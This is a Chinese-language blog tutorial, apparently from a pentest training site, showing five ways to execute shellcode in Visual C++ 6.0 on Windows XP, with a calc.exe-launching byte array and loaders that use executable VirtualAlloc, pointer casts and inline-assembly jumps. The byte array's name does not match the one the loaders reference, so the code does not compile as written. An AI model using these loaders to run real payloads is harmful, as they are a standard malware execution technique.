vc加载shellcode的五种方法

2020年03月05日 18:25:45 作者:a123 阅读数:50580
网络安全渗透测试北京实地培训,五个月华丽蜕变,零元入学,报名联系:18622800700(手机同微信)。全国诚招招生代理,最低2000元起

0x01:实验环境

       windowsxp

       vc6.0

0x02:代码

#include <windows.h>
#include <stdio.h>
 
//一段打开Windows计算器(calc.exe)的shellcode   
unsigned char shellcode_calc[] =
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"
"\xe4";
typedef void (__stdcall *CODE) ();
//第一种方法   
void main()
{
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, shellcode, sizeof(shellcode))))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
    CODE code =(CODE)p;
    code();
}

// 第二种方法 替换第一种的main方法 

// 替换第一种的main方法  
void main()
{
    ((void(*)(void))&shellcode)();
}

// 第三种方法 替换第一种的main方法  

// 替换第一种的main方法  
void main()
{
    	__asm
	{
		lea eax, shellcode;
		jmp eax;
	}
}

// 第四种方法 替换第一种的main方法  

// 替换第一种的main方法  
void main()
{
    	__asm
	{
		mov eax, offset shellcode;
		jmp eax;
	}
}

// 第五种方法 替换第一种的main方法  

// 替换第一种的main方法  
void main()
{
    	__asm
	{
		mov eax, offset shellcode;
		_emit 0xFF;
		_emit 0xE0;
	}
}

0x03:问题

fatal error C1010: unexpected end of file while looking for precompiled header directive

Generating Code...

解决方法;project->设置->C/C++->分类选择预编译的文件头->选择不使用预补偿页眉